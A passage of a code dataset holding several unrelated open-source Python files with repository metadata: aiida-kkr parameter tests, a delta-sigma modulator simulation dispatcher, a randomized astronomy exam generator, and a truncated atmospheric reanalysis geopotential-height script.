EMIN=-2, LMAX=3)\n        missing = p.get_missing_keys()\n        assert set(missing)==set(['<ZATOM>', 'BRAVAIS', 'RCLUSTZ', 'NAEZ', '<RBASIS>', 'NSPIN', 'ALATBASIS'])\n    \n    def test_set_value_None(self): \n        p = kkrparams()\n        p.set_value('EMIN', -1)\n        assert p.values['EMIN'] == -1\n        \n        p.set_value('EMIN',None)\n        assert p.values['EMIN'] == -1\n        \n        p.remove_value('EMIN')\n        assert p.values['EMIN'] is None\n        \n    def test_set_potname_empty(self):  \n        p = kkrparams()\n        p.set_multiple_values(RMAX=1, GMAX=1, NSPIN=1, RBASIS=[0,0,0], LMAX=2, RCLUSTZ=1.2, NAEZ=1, ZATOM=[0], BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], ALATBASIS=1, FILES=['','shapenew'])\n        p.fill_keywords_to_inputfile()\n        from aiida_kkr.tools.common_functions import search_string\n        txt = open('inputcard').readlines()\n        itmp = search_string('FILES', txt)\n        potname = txt[itmp+2].split()[0]\n        shapename = txt[itmp+4].split()[0]\n        assert 'potential' == potname\n        assert 'shapenew' == shapename\n    \n    def test_get_dict(self):\n        d0 = {'<RMTCORE>':  None, 'ICST': None, '<RMTREF>': None, 'N1SEMI': None, '<FPRADIUS>': None, '<NRBASIS>': None, '<SOCSCL>': None, 'XINIPOL': None, 'EMAX': None, '<RBLEFT>': None, 'NLEFTHOS': None, '<ZATOM>': [0.0], 'RCLUSTXY': None, 'NPAN_EQ': None, '<RBRIGHT>': None, 'BRAVAIS': [[1, 0, 0], [0, 1, 0], [0, 0, 1]], 'INS': None, 'NAT_LDAU': None, '<RMTREFR>': None, 'ZPERIODL': None, 'TESTOPT': None, 'KEXCOR': None, '<TOLRDIF>': None, 'TEMPR': None, 'EBOTSEMI': None, 'NATYP': None, 'RUNOPT': None, 'HFIELD': None, 'NPOL': None, 'RCLUSTZ': 1.2, 'ZPERIODR': None, 'N3SEMI': None, 'LMAX': 2, 'ITDBRY': None, '<KAOEZR>': None, '<LLOYD>': None, 'STRMIX': None, 'CPAINFO': None, 'FCM': None, '<SHAPE>': None, 'NPAN_LOG': None, 'CARTESIAN': None, 'FSEMICORE': None, 'LAMBDA_XC': None, 'GMAX': None, '<CPA-CONC>': None, 'RMAX': None, 'NCHEB': None, 'EMIN': None, 'NAEZ': 1, '<DELTAE>': None, 'KREADLDAU': None, '<RBASIS>': [0, 0, 0], '<SITE>': None, 'NPT2': None, 'NPT3': None, 'NPT1': None, 'N2SEMI': None, 'NPOLSEMI': None, '<RMTREFL>': None, 'FILES': ['', 'shapenew'], 'LDAU_PARA': None, 'NSPIN': 1, 'QBOUND': None, 'NRIGHTHO': None, 'KVREL': None, 'TKSEMI': None, '<KAOEZL>': None, 'NSTEPS': None, 'KSHAPE': None, '<NLBASIS>': None, 'LINIPOL': None, 'BZDIVIDE': None, 'INTERFACE': None, 'BRYMIX': None, 'EMUSEMI': None, 'ALATBASIS': 1.0, 'R_LOG': None, 'IMIX': None, 'VCONST': None}\n        p = kkrparams()\n        p.set_multiple_values(RMAX=1, GMAX=1, NSPIN=1, RBASIS=[0,0,0], LMAX=2, RCLUSTZ=1.2, NAEZ=1, ZATOM=[0], BRAVAIS=[[1,0,0],[0,1,0],[0,0,1]], ALATBASIS=1, FILES=['','shapenew'])\n        assert set(d0.keys()) == set(p.get_dict().keys())\n        \n        l0 = ['<SHAPE>', 'KSHAPE', 'ZPERIODL', '<NRBASIS>', '<NLBASIS>', '<RBASIS>', 'NAEZ', 'CARTESIAN', '<RBRIGHT>', '<RBLEFT>', 'INTERFACE', 'BRAVAIS', 'ALATBASIS', 'ZPERIODR']\n        assert p.get_dict(group='lattice').keys() == l0\n        \n        l0 = ['ZPERIODL', '<NRBASIS>', '<NLBASIS>', '<RBRIGHT>', '<RBLEFT>', 'INTERFACE', 'ZPERIODR']\n        assert l0 == p.get_dict(group='lattice', subgroup='2D mode').keys() \n        \n    def test_get_KKRcalc_parameter_defaults(self):\n        d = kkrparams.get_KKRcalc_parameter_defaults()\n        from aiida_kkr.tools.kkr_params import __kkr_default_params__\n        d0 = __kkr_default_params__\n        assert d[0]==d0\n", "meta": {"hexsha": "282289eb165ca5778bac9d8498b6ed288d3838e3", "size": 28154, "ext": "py", "lang": "Python", "max_stars_repo_path": "aiida_kkr/tests/test_kkrparams.py", "max_stars_repo_name": "broeder-j/aiida-kkr", "max_stars_repo_head_hexsha": "fe7f39aa8f1396e02c0eb51c1cd2a7dc050620d6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2017-11-09T10:21:43.000Z", "max_stars_repo_stars_event_max_datetime": "2017-11-09T18:42:05.000Z", "max_issues_repo_path": "aiida_kkr/tests/test_kkrparams.py", "max_issues_repo_name": "broeder-j/aiida-kkr", "max_issues_repo_head_hexsha": "fe7f39aa8f1396e02c0eb51c1cd2a7dc050620d6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2018-07-19T12:33:28.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-18T10:02:32.000Z", "max_forks_repo_path": "aiida_kkr/tests/test_kkrparams.py", "max_forks_repo_name": "broeder-j/aiida-kkr", "max_forks_repo_head_hexsha": "fe7f39aa8f1396e02c0eb51c1cd2a7dc050620d6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 62.5644444444, "max_line_length": 3170, "alphanum_fraction": 0.5902180862, "include": true, "reason": "from numpy", "num_tokens": 11249, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.12085323249047068, "lm_q1q2_score": 0.05337761043835197}}
{"text": "# -*- coding: utf-8 -*-\n# _simulateDSM.py\n# Module providing the simulateDSM function,\n# a switch to select the fastest simulation routine.\n# This file is part of python-deltasigma.\n#\n# python-deltasigma is a 1:1 Python replacement of Richard Schreier's\n# MATLAB delta sigma toolbox (aka \"delsigma\"), upon which it is heavily based.\n# The delta sigma toolbox is (c) 2009, Richard Schreier.\n#\n# python-deltasigma is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# LICENSE file for the licensing terms.\n#\n# This file was originally from `pydsm`, then modified quite a bit.\n# Many thanks to the original author.\n#\n# The original file is\n# Copyright (c) 2012, Sergio Callegari\n# All rights reserved.\n#\n# The modifications are mine.\n# Copyright (c) 2014, G. Venturini and the python-deltasigma contributors\n#\n\nfrom __future__ import print_function\n\nimport os\nfrom warnings import warn\n\nimport numpy as np\n\nfrom ._config import _debug, setup_args\nfrom ._simulateDSM_python import simulateDSM as _simulateDSM_python\nfrom ._utils import _get_zpk, _is_zpk\n\nwarned = False\n\n# Code to compile the Cython extensions\n# Extensions tested on Linux and Mac OS X, but not on Windows\n# please report any bug (or patches!) on\n# https://github.com/ggventurini/python-deltasigma/issues\n\ntry:\n    import pyximport\n    pyximport.install(setup_args=setup_args)\n    from ._simulateDSM_cblas import simulateDSM as _simulateDSM_cblas\nexcept ImportError as e:\n    if _debug:\n        print(str(e))\n    _simulateDSM_cblas = None\n\ntry:\n    import pyximport\n    pyximport.install(setup_args=setup_args)\n    from ._simulateDSM_scipy_blas import simulateDSM as _simulateDSM_scipy_blas\nexcept ImportError as e:\n    if _debug:\n        print(str(e))\n    _simulateDSM_scipy_blas = None\n\n# fall back to CPython\n\nsimulation_backends = {'CBLAS':(_simulateDSM_cblas is not None),\n                       'Scipy_BLAS':(_simulateDSM_scipy_blas is not None),\n                       'CPython':True}\n\ndef simulateDSM(u, arg2, nlev=2, x0=0.):\n    \"\"\"Simulate a delta-sigma modulator.\n\n    Compute the output of a general delta-sigma modulator with input ``u``,\n    a structure described by ``ABCD``, an initial state ``x0`` (default zero) and\n    a quantizer with a number of levels specified by ``nlev``.\n\n    **Syntax:**\n\n     * ``[v, xn, xmax, y] = simulateDSM(u, ABCD, nlev=2, x0=0)``\n     * ``[v, xn, xmax, y] = simulateDSM(u, ntf, nlev=2, x0=0)``\n\n    **Parameters:**\n\n    u : ndarray or sequence\n        The input vector to be used in the simulation. Multiple inputs\n        are implied by the number of rows in ``u``.\n    arg2 : 2D ndarray or a supported LTI description\n        The second argument may be either the ABCD matrix describing the\n        modulator or its NTF. In the latter case, the NTF is converted to\n        a ZPK description and the structure that is simulated is the\n        block-diagonal structure used by scipy's ``zpk2ss()``.\n        The STF is assumed to be 1.\n    nlev : int or sequence or ndarray\n        Number of levels in the quantizers. Set ``nlev`` to a scalar for a\n        single quantizer modulator. Multiple quantizers are implied by\n        making ``nlev`` an array.\n    x0 : float or sequence or ndarray\n        The initial status of the modulator. If ``x0`` is set to float, its\n        value will be used for all the states. If it is set to a sequence of\n        floats, each of its values will be assigned to a state variable.\n\n    **Returns:**\n\n    v : ndarray\n        The quantizer output.\n    xn : ndarray\n        The modulator states.\n    xmax : ndarray\n        The maximum value that each state reached during simulation.\n    y : ndarray\n        The quantizer input (ie the modulator output).\n\n    **Notes:**\n\n    Three implementations of this function are (potentially) available to the\n    user, in order of ascending execution speed:\n\n    * A CPython implementation, always available.\n    * A Cython-based implementation requiring the BLAS headers and a compatible\n      compiler.\n    * A Cython-based implementation accessing the BLAS library pre-compiled\n      through scipy, requiring only a compatible compiler.\n\n    The difference in execution time from the first implementation -- dynamically\n    interpreted -- to the latter two -- statically compiled automatically before\n    execution -- is a factor 20.\n\n    The fastest available implementation is automatically selected.\n\n    To assess which implementations are available in your installation, check\n    the ``simulation_backends`` variable, for example::\n\n       from __future__ import print_function\n       import deltasigma as ds\n       print(ds.simulation_backends)\n\n    Example output::\n\n        {'Scipy_BLAS': True, 'CBLAS': True, 'CPython': True}\n\n\n    **Example:**\n\n    Simulate a 5th-order binary modulator with a half-scale sine-wave input and\n    plot its output in the time and frequency domains.::\n\n        import numpy as np\n        from deltasigma import *\n        OSR = 32\n        H = synthesizeNTF(5, OSR, 1)\n        N = 8192\n        fB = np.ceil(N/(2*OSR))\n        f = 85\n        u = 0.5*np.sin(2*np.pi*f/N*np.arange(N))\n        v = simulateDSM(u, H)[0]\n\n    Graphical display of the results:\n\n    .. plot::\n\n        import numpy as np\n        import pylab as plt\n        from numpy.fft import fft\n        from deltasigma import *\n        OSR = 32\n        H = synthesizeNTF(5, OSR, 1)\n        N = 8192\n        fB = int(np.ceil(N/(2*OSR)))\n        f = 85\n        u = 0.5*np.sin(2*np.pi*f/N*np.arange(N))\n        v = simulateDSM(u, H)[0]\n        plt.figure(figsize=(10, 7))\n        plt.subplot(2, 1, 1)\n        t = np.arange(85)\n        # the equivalent of MATLAB 'stairs' is step in matplotlib\n        plt.step(t, u[t], 'g', label='u(n)')\n        plt.step(t, v[t], 'b', label='v(n)')\n        plt.axis([0, 85, -1.2, 1.2]);\n        plt.ylabel('u, v');\n        plt.xlabel('sample')\n        plt.legend()\n        plt.subplot(2, 1, 2)\n        spec = fft(v*ds_hann(N))/(N/4)\n        plt.plot(np.linspace(0, 0.5, N/2 + 1), dbv(spec[:int(N/2) + 1]))\n        plt.axis([0, 0.5, -120, 0])\n        plt.grid(True)\n        plt.ylabel('dBFS/NBW')\n        snr = calculateSNR(spec[:fB], f)\n        s = 'SNR = %4.1fdB' % snr\n        plt.text(0.25, -90, s)\n        s =  'NBW = %7.5f' % (1.5/N)\n        plt.text(0.25, -110, s)\n        plt.xlabel(\"frequency $1 \\\\\\\\rightarrow f_s$\")\n\n    Click on \"Source\" above to see the source code.\n    \"\"\"\n    global warned\n    if _simulateDSM_cblas or _simulateDSM_scipy_blas:\n        if not _is_zpk(arg2) and not isinstance(arg2, np.ndarray):\n            arg2 = _get_zpk(arg2)\n        if _simulateDSM_cblas:\n            return _simulateDSM_cblas(u, arg2, nlev, x0, store_xn=True,\n                                      store_xmax=True, store_y=True)\n        return _simulateDSM_scipy_blas(u, arg2, nlev, x0, store_xn=True,\n                                       store_xmax=True, store_y=True)\n    else:\n        if not warned:\n            warn('Using a slow implementation of simulateDSM\\n' +\n                 'Refer to the docs for how to switch to a fast one')\n            warned = True\n        return _simulateDSM_python(u, arg2, nlev, x0)\n", "meta": {"hexsha": "c49e9d7fe2350fdc26037e45edf0bade469978dc", "size": 7276, "ext": "py", "lang": "Python", "max_stars_repo_path": "deltasigma/_simulateDSM.py", "max_stars_repo_name": "yao-zl/python-deltasigma", "max_stars_repo_head_hexsha": "639168178286f076e2d9273e4c81128ef1afdae6", "max_stars_repo_licenses": ["OLDAP-2.6", "Python-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "deltasigma/_simulateDSM.py", "max_issues_repo_name": "yao-zl/python-deltasigma", "max_issues_repo_head_hexsha": "639168178286f076e2d9273e4c81128ef1afdae6", "max_issues_repo_licenses": ["OLDAP-2.6", "Python-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "deltasigma/_simulateDSM.py", "max_forks_repo_name": "yao-zl/python-deltasigma", "max_forks_repo_head_hexsha": "639168178286f076e2d9273e4c81128ef1afdae6", "max_forks_repo_licenses": ["OLDAP-2.6", "Python-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.4834123223, "max_line_length": 81, "alphanum_fraction": 0.6465090709, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1961, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10669060104662924, "lm_q1q2_score": 0.05334530052331462}}
{"text": "import numpy as np\nimport pylab as plt\nnp.random.seed(17)\nplt.rc('font', size=8)\nnproblem = 8 # magic\nnstudent = 150 # magic\n\nproblems = [r\"\"\"\\begin{problem}\n(From Problem Set 6)\nWhat would be the radius of a black hole with the mass of the Earth?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From Problem Set 6)\nWhat is the distance between Earth and the source of GW170817?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From Problem Set 6)\nWhat is the mean orbital speed $v$ of the star S2 in the Galactic Center?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From Problem Set 6)\nIn event GW150914, what were the three black-hole masses $M_1,M_2,M_3$?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From the reading)\nIn what year did LIGO make its first discovery of a black-hole merger?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From Lecture)\nRoughly what is the orbital period of the International Space Station?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From the reading)\nWhat happens when something crosses the horizon of the black hole?\n\\end{problem}\"\"\", r\"\"\"\\begin{problem}\n(From Lecture)\nWhat---very roughly---is the (dimensionless) ratio of the mass of the black\nhole at the center of the Milky Way to the total mass of the Milky Way? That is,\nwhat fraction of the total mass of the Milky Way is the black hole?\n\\end{problem}\"\"\"]\nassert len(problems) == nproblem\n\nprint(r\"\"\"\n\\documentclass[12pt, letterpaper]{article}\n\\include{eu}\n\\pagestyle{empty}\n\n\\begin{document}\n\n\"\"\")\n\nfor student in range(nstudent):\n    print(r\"\"\"\n\\examheader{Term Exam 6}\n\n\"\"\")\n    pindx = np.argsort(np.random.uniform(size=nproblem))\n    for problem, indx in enumerate(pindx):\n        print(problems[indx])\n        print(r\"\"\"\n\\vfill ~\n\"\"\")\n        if problem == 3:\n            print(r\"\"\"\n\\clearpage\n\n\"\"\")\n    print(r\"\"\"\n\\cleardoublepage\n\n\"\"\")\n\nprint(r\"\"\"\n\\end{document}\n\"\"\")\n", "meta": {"hexsha": "291e5360bb98ae170d056d542e0f90f411de65f0", "size": 1826, "ext": "py", "lang": "Python", "max_stars_repo_path": "py/make_exam6.py", "max_stars_repo_name": "davidwhogg/EinsteinsUniverse", "max_stars_repo_head_hexsha": "91babed322a5985a45ec827c030564cacbd49354", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "py/make_exam6.py", "max_issues_repo_name": "davidwhogg/EinsteinsUniverse", "max_issues_repo_head_hexsha": "91babed322a5985a45ec827c030564cacbd49354", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2019-08-24T19:50:27.000Z", "max_issues_repo_issues_event_max_datetime": "2019-10-30T01:39:39.000Z", "max_forks_repo_path": "py/make_exam6.py", "max_forks_repo_name": "davidwhogg/EinsteinsUniverse", "max_forks_repo_head_hexsha": "91babed322a5985a45ec827c030564cacbd49354", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.0857142857, "max_line_length": 80, "alphanum_fraction": 0.6905805038, "include": true, "reason": "import numpy", "num_tokens": 511, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.10669059323555342, "lm_q1q2_score": 0.05334529661777671}}
{"text": "#!/usr/bin/env python\nu\"\"\"\nreanalysis_geopotential_heights.py\nWritten by Tyler Sutterley (10/2021)\nReads temperature and specific humidity data to calculate geopotential height\n    and pressure difference fields at half levels from reanalysis\n\nINPUTS:\n    Reanalysis model to run\n    ERA-Interim: http://apps.ecmwf.int/datasets/data/interim-full-moda\n    ERA5: http://apps.ecmwf.int/data-catalogues/era5/?class=ea\n    MERRA-2: https://gmao.gsfc.nasa.gov/reanalysis/MERRA-2/\n\nCOMMAND LINE OPTIONS:\n    -D X, --directory X: Working data directory\n    -Y X, --year X: years to run\n    -V, --verbose: Output information for each output file\n    -M X, --mode X: Permission mode of directories and files\n\nPYTHON DEPENDENCIES:\n    numpy: Scientific Computing Tools For Python\n        https://numpy.org\n        https://numpy.org/doc/stable/user/numpy-for-matlab-users.html\n    netCDF4: Python interface to the netCDF C library\n        https://unidata.github.io/netcdf4-python/netCDF4/index.html\n\nPROGRAM DEPENDENCIES:\n    utilities.py: download and management utilities for files\n\nUPDATE HISTORY:\n    Updated 10/2021: using python logging for handling verbose output\n    Updated 07/2021: can use input files to define command line arguments\n        added check for ERA5 expver dimension (denotes mix of ERA5 and ERA5T)\n    Updated 05/2021: define int/float precision to prevent deprecation warning\n    Updated 03/2021: automatically update years to run based on current time\n    Updated 01/2021: read from netCDF4 file in slices to reduce memory load\n    Updated 12/2020: using argparse to set command line options\n    Updated 01/2020: outputs variables as 32-bit floats instead of 64-bit floats\n        clear variables and iterate years to reduce required memory\n        iterate over time variable to calculate heights using incomplete files\n    Updated 08/2019: adjust time scale variable for MERRA-2\n    Updated 07/2018: added parameters for ERA5\n    Written 03/2018\n\"\"\"\nfrom __future__ import print_function\n\nimport os\nimport re\nimport time\nimport logging\nimport netCDF4\nimport argparse\nimport numpy as np\nimport gravity_toolkit.utilities as utilities\n\n#-- PURPOSE: reads temperature and specific humidity data to calculate\n#-- geopotential height fields at half levels from reanalysis\ndef reanalysis_geopotential_heights(base_dir, MODEL, YEAR=None,\n    VERBOSE=False, MODE=0o775):\n\n    #-- create logger for verbosity level\n    loglevel = logging.INFO if VERBOSE else logging.CRITICAL\n    logging.basicConfig(level=loglevel)\n\n    #-- directory setup\n    ddir = os.path.join(base_dir,MODEL)\n    #-- set model specific parameters\n    if (MODEL == 'ERA-Interim'):\n        #-- invariant parameters file\n        input_invariant_file = 'ERA-Interim-Invariant-Parameters.nc'\n        #-- coordinate parameters file\n        input_coordinate_file = 'ERA-Interim_coordvars.nc'\n        #-- surface pressure file format\n        input_pressure_file = 'ERA-Interim-Monthly-SP-{0:4d}.nc'\n        #-- regular expression pattern for finding files\n        regex_pattern = r'ERA\\-Interim\\-Monthly\\-Levels\\-({0})\\.nc$'\n        #-- output file format\n        output_file_format = 'ERA-Interim-GPH-Levels-{0:4d}.nc'\n        SURFNAME = 'z'\n        ZNAME = 'z'\n        VARNAME = 'sp'\n        TNAME = 't'\n        QNAME = 'q'\n        DIFFNAME = 'dp'\n        LONNAME = 'longitude'\n        LATNAME = 'latitude'\n        TIMENAME = 'time'\n        LEVELNAME = 'lvl'\n        ANAME,BNAME = ('a_model_alt','b_model_alt')\n        AINTERFACE,BINTERFACE = ('a_interface','b_interface')\n        #-- hours since 1900-01-01 00:00:0.0\n        TIME_LONGNAME = 'Time'\n        UNITS = 'm**2 s**-2'\n        GRAVITY = 1.0\n    elif (MODEL == 'ERA5'):\n        #-- invariant parameters file\n        input_invariant_file = 'ERA5-Invariant-Parameters.nc'\n        #-- coordinate parameters file\n        input_coordinate_file = 'ERA5_coordvars.nc'\n        #-- surface pressure file format\n        input_pressure_file = 'ERA5-Monthly-SP-{0:4d}.nc'\n        #-- regular expression pattern for finding files\n        regex_pattern = r'ERA5\\-Monthly\\-Levels\\-({0})\\.nc$'\n        #-- output file format\n        output_file_format = 'ERA5-GPH-Levels-{0:4d}.nc'\n        SURFNAME = 'z'\n        ZNAME = 'z'\n        VARNAME = 'sp'\n        TNAME = 't'\n        QNAME = 'q'\n        DIFFNAME = 'dp'\n        LONNAME = 'longitude'\n        LATNAME = 'latitude'\n        TIMENAME = 'time'\n        LEVELNAME = 'lvl'\n        ANAME,BNAME = ('a_half','b_half')\n        AINTERFACE,BINTERFACE = ('a_interface','b_interface')\n        #-- hours since 1900-01-01 00:00:0.0\n        TIME_LONGNAME = 'Time'\n        UNITS = 'm**2 s**-2'\n        GRAVITY = 1.0\n    elif (MODEL == 'MERRA-2'):\n        #-- invariant parameters file\n        input_invariant_file = 'MERRA2_101.const_2d_asm_Nx.00000000.nc4'\n        #-- coordinate parameters file\n        input_coordinate_file = 'MERRA2_101.Coords_Nx.00000000.nc'\n        #-- regular expression pattern for finding files\n        regex_pattern = r'MERRA2_(\\d+).instM_3d_ana_Nv.({0})(\\d{{2}}).SUB.nc$'\n        #-- output file format\n        output_file_format='MERRA2_{0:0.0f}.GPH_levels.{1:4.0f}{2:02.0f}.SUB.nc'\n        SURFNAME = 'PHIS'\n        ZNAME = 'PHIS'\n        VARNAME = 'PS'\n        TNAME = 'T'\n        QNAME = 'QV'\n        DIFFNAME = 'dP'\n        LONNAME = 'lon'\n        LATNAME = 'lat'\n        TIMENAME = 'time'\n        LEVELNAME = 'lev'\n        ANAME,BNAME = ('a_half','b_half')\n        AINTERFACE,BINTERFACE = ('a_interface','b_interface')\n        #-- minutes since start of file\n        TIME_LONGNAME = 'Time'\n        UNITS = 'm+2 s-2'\n        GRAVITY = 1.0\n\n    #-- read model orography for dimensions\n    geopotential,lon,lat=ncdf_invariant(os.path.join(ddir,input_invariant_file),\n        LONNAME,LATNAME,SURFNAME)\n    #-- read parameters for calculating pressures at levels\n    lev,A,B,AI,BI=ncdf_coordinates(os.path.join(ddir,input_coordinate_file),\n        LEVELNAME,ANAME,BNAME,AINTERFACE,BINTERFACE)\n    #-- Gas constant for dry air\n    R_dry = 287.06\n\n    #-- read each reanalysis pressure field for each year\n    regex_years = r'\\d{4}' if (YEAR is None) else '|'.join(map(str,YEAR))\n    rx = re.compile(regex_pattern.format(regex_years), re.VERBOSE)\n    input_files = [fi for fi in os.listdir(ddir) if rx.match(fi)]\n    #-- for each reanalysis file\n    for fi in sorted(input_files):\n        #-- read input temperature and specific humidity data\n        fid1 = netCDF4.Dataset(os.path.join(ddir,fi),'r')\n        #-- extract shape from temperature variable\n        ntime,nlevels,nlat,nlon = fid1.variables[TNAME].shape\n        #-- invalid value\n        fill_value = fid1.variables[TNAME]._FillValue\n        #-- save output variables into a python dictionary.\n        dinput = {}\n        dinput[ZNAME] = np.zeros((ntime,nlevels,nlat,nlon),dtype=np.float32)\n        dinput[DIFFNAME] = np.zeros((ntime,nlevels,nlat,nlon),dtype=np.float32)\n        #-- model levels in reverse order\n        dinput[LEVELNAME] = lev[::-1].copy()\n        #-- extract time and time units\n        dinput[TIMENAME] = np.copy(fid1.variables[TIMENAME][:])\n        TIME_UNITS = fid1.variables[TIMENAME].units\n        dinput[LONNAME] = lon.copy()\n        dinput[LATNAME] = lat.copy()\n\n        if MODEL in ('MERRA-2'):\n            #-- extract date from monthly files\n            MOD,YEAR,MONTH = np.array(rx.findall(fi).pop(), dtype=np.float64)\n            #-- output monthly filename\n            FILE = os.path.join(ddir,output_file_format.format(MOD,YEAR,MONTH))\n            #-- read surface pressure\n            surface_pressure = np.copy(fid1.variables[VARNAME][:])\n        elif MODEL in ('ERA-Interim','ERA5'):\n            #-- extract year from file name\n            YEAR, = np.array(rx.findall(fi),dtype=np.int64)\n            #-- output yearly filename\n            FILE = os.path.join(ddir,output_file_format.format(YEAR))\n            #-- read input surface pressure data\n            pressure_file = input_pressure_file.format(YEAR)\n            with netCDF4.Dataset(os.path.join(ddir,pressure_file),'r') as fid2:\n                surface_pressure = np.copy(fid2.variables[VARNAME][:])\n\n        #-- iterate over dates\n        for t in range(ntime):\n            #-- check dimensions for expver slice\n            if (fid1.variables[VARNAME].ndim == 5):\n                t_time,q_time = ncdf_expver(fid1,t,TNAME,QNAME)\n            else:\n                #-- temperature and specific humidity\n                #-- reverse layers so bottom=0\n                t_time = fid1.variables[TNAME][t,::-1,:,:]\n                q_time = fid1.variables[QNAME][t,::-1,:,:]\n            #-- calculate geopotential over model levels\n            geopotential_height = np.empty((nlat,nlon),dtype=np.float32)\n            #-- start with surface geopotential converted to units (m^2/s^2)\n            geopotential_height[:,:] = geopotential*GRAVITY\n            #-- Integrate the model layers in the atmosphere\n            for k in range(nlevels):\n                #-- calculate virtual temperature\n                virtual_temp = (1.0 + 0.609133*q_time[k,:,:])*t_time[k,:,:]\n                #-- calculate numerator and denominator for pressure ratio\n                Pnum = A[k] + B[k]*surface_pressure[t,:,:]\n                if ((k+1) == nlevels):\n                    Pdom = 0.1\n                else:\n                    Pdom = A[k+1] + B[k+1]*surface_pressure[t,:,:]\n                #-- add level to geopotential_levels\n                geopotential_height[:,:] += R_dry*virtual_temp*np.log(Pnum/Pdom)\n                #-- save level to output variable and convert to output units\n                dinput[ZNAME][t,k,:,:] = geopotential_height/GRAVITY\n                #-- calculate pressure difference between levels (at interfaces)\n                Plower = AI[k] + BI[k]*surface_pressure[t,:,:]\n                Pupper = AI[k+1] + BI[k+1]*surface_pressure[t,:,:]\n                dinput[DIFFNAME][t,k,:,:] = Pupper - Plower\n\n        #-- save to file\n        ncdf_geopotential_write(dinput, fill_value, FILENAME=FILE, ZNAME=ZNAME,\n            LEVELNAME=LEVELNAME, DIFFNAME=DIFFNAME, LONNAME=LONNAME,\n            LATNAME=LATNAME, TIMENAME=TIMENAME, TIME_UNITS=TIME_UNITS,\n            TIME_LONGNAME=TIME_LONGNAME, UNITS=UNITS)\n        #-- set the permissions level of the output file to MODE\n        os.chmod(FILE, MODE)\n        #-- clear dinput dictionary variable\n        dinput = None\n        #-- close the input netCDF4 file\n        fid1.close()\n\n#-- PURPOSE: Compute the Specific Humidity from parameters (Bolton 1980)\n#-- http://cires1.colorado.edu/~voemel/vp.html\n#-- https://www.eol.ucar.edu/projects/ceop/dm/documents/refdata_report/eqns.html\n#-- https://github.com/NCAR/ncl/blob/master/ni/src/lib/nfpfort/mixhum_ptrh.f\ndef calculate_specific_humidity(P, T, RH):\n    #-- ratio of the molecular weights of water vapor to dry air\n    epsilon = 0.622\n    #-- calibration pressure and temperature\n    pc = 6.112\n    tc = 243.5\n    #-- calculate the saturation vapor pressure in mb\n    Es = pc * np.exp((17.67 * T)/(T + tc))\n    #-- calculate the vapor pressure in mb\n    Ev = Es * (RH/100.0)\n    #-- calculate the dew point temperature\n    Td = np.log(Ev/pc) * tc/(17.67 - np.log(Ev/pc))\n    #-- calculate the specific humidity\n    Q = (epsilon * Ev)/(P/100.0 - (0.378 * Ev))\n    return (Q,Td)\n\n#-- PURPOSE: extract temperature and specific humidity variables\n#-- from a 5d netCDF4 dataset\n#-- ERA5 expver dimension (denotes mix of ERA5 and ERA5T)\ndef ncdf_expver(fileID, slice, TNAME, QNAME):\n    ntime,nexp,nlevel,nlat,nlon = fileID.variables[TNAME].shape\n    fill_value = fileID.variables[TNAME]._FillValue\n    #-- reduced temperature and specific humidity for time\n    temperature = np.ma.zeros((nlevel,nlat,nlon))\n    temperature.fill_value = fill_value\n    humidity = np.ma.zeros((nlevel,nlat,nlon))\n    humidity.fill_value = fill_value\n    #-- iterate over expver slices to find valid outputs\n    for j in range(nexp):\n        #-- check if any are valid for expver\n        if np.any(fileID.variables[TNAME][slice,j,:,:,:]):\n            #-- reverse layers so bottom=0\n            temperature[:,:,:] = fileID.variables[TNAME][slice,j,::-1,:,:]\n            humidity[:,:,:] = fileID.variables[QNAME][slice,j,::-1,:,:]\n    #-- update mask variables\n    temperature.mask = (temperature.data == temperature.fill_value)\n    humidity.mask = (humidity.data == humidity.fill_value)\n    #-- return the reduced temperature and specific humidity variables\n    return (temperature,humidity)\n\n#-- PURPOSE: read reanalysis invariant parameters (geopotential,lat,lon)\ndef ncdf_invariant(FILENAME,LONNAME,LATNAME,ZNAME):\n    with netCDF4.Dataset(FILENAME,'r') as fileID:\n        geopotential = fileID.variables[ZNAME][:].squeeze()\n        longitude = fileID.variables[LONNAME][:].copy()\n        latitude = fileID.variables[LATNAME][:].copy()\n    return (geopotential,longitude,latitude)\n\n#-- PURPOSE: read reanalysis coordinate parameters\n#-- reverse order to go from surface to top-of-atmosphere\ndef 